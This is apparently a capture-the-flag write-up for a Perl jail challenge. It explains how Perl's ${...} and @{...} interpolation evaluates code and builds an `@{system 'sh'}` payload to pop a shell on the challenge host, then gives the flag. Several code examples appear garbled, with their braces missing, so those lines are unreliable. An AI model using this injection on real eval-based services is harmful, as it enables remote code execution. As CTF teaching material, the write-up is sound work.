Description
When has using eval to unescape strings ever gone wrong...
Attachments
Source: https://cybersharing.net/s/76a9f721ee2eb0a8
Remote: nc 155.248.210.243 42042
Writeup
tl;dr : @
In perl, you can do string interpolation by just putting the variable in the string itself (like in bash). For example:
$a = 'USERNAME';
print "Hello there, $a"; # ⇒ Hello there, USERNAME
However, if you want to add text right after the variable, that would cause a problem:
print "Hello there, $avvvv"; # ⇒ Hello there,
So to fix that, you can add curly braces after the $ to then wrap the variable name in, fixing the issue:
print "Hello there, $vvvv"; # ⇒ Hello there, USERNAMEvvvv
This also works for arrays:
@b = (1, 2, 3);
print "Array b: @vvvv"; # ⇒ Array b: 1 2 3vvvv
You'll notice that @, {, and } are all allowed characters that we are allowed to use in this jail...
An interesting quirk with adding the curly braces after the $/@ is that the text within the curly braces actually gets evaluated, and then it checks the result of that evalutation to get that variable.
So consider the following code:
$a1 = 'can we access this?';
print "${'a'.'1'}"; # ⇒ can we access this?
Now the idea becomes clear, we now have code execution within a string, so we can do something like this to pop a shell:
@{system 'sh'}
But wait, we dont have quotes. So how can we do this?
You have multiple routes you can take with this, one route you can take is just using qw (quote words) and do:
@{system qw}
Or you can just ditch the quotes completely because perl is stupid and lets you do that:
@
Flag
ictf{f1n4lly_50m37h1n6_7h47_15n7_py7h0n}